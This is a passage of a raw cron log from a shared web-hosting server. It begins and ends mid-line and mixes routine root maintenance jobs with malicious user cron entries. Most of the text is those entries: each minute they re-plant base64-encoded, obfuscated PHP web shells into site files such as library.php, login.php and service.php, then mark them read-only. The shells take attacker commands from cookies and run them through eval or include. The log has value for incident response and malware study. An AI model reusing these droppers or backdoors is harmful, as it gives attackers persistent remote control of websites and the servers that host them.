0KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:38:01 medusa CROND[31024]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:38:01 medusa CROND[31025]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:38:01 medusa CROND[31028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:38:01 medusa CROND[31029]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:38:01 medusa CROND[31026]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:38:01 medusa CROND[31031]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:39:02 medusa CROND[430]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:39:02 medusa CROND[431]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:39:02 medusa CROND[432]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:39:02 medusa CROND[433]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:39:02 medusa CROND[434]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:39:02 medusa CROND[435]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:39:02 medusa CROND[449]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:39:02 medusa CROND[450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:39:02 medusa CROND[456]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:39:02 medusa CROND[457]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:39:02 medusa CROND[458]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:39:02 medusa CROND[454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:39:02 medusa CROND[461]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:39:02 medusa CROND[453]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 14:40:01 medusa CROND[2575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:40:01 medusa CROND[2578]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 14:40:01 medusa CROND[2583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:40:01 medusa CROND[2591]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:40:01 medusa CROND[2590]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:40:01 medusa CROND[2592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:40:01 medusa CROND[2595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:40:01 medusa CROND[2593]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 14:40:01 medusa CROND[2599]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:40:01 medusa CROND[2601]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:40:01 medusa CROND[2594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:40:01 medusa CROND[2604]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:40:01 medusa CROND[2596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:40:01 medusa CROND[2597]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:40:01 medusa CROND[2606]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 14:40:01 medusa CROND[2608]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 14:40:01 medusa CROND[2605]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 14:40:01 medusa CROND[2612]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:40:01 medusa CROND[2614]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:40:01 medusa CROND[2618]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:40:01 medusa CROND[2622]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:40:01 medusa CROND[2621]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:40:01 medusa CROND[2628]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:40:01 medusa CROND[2633]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4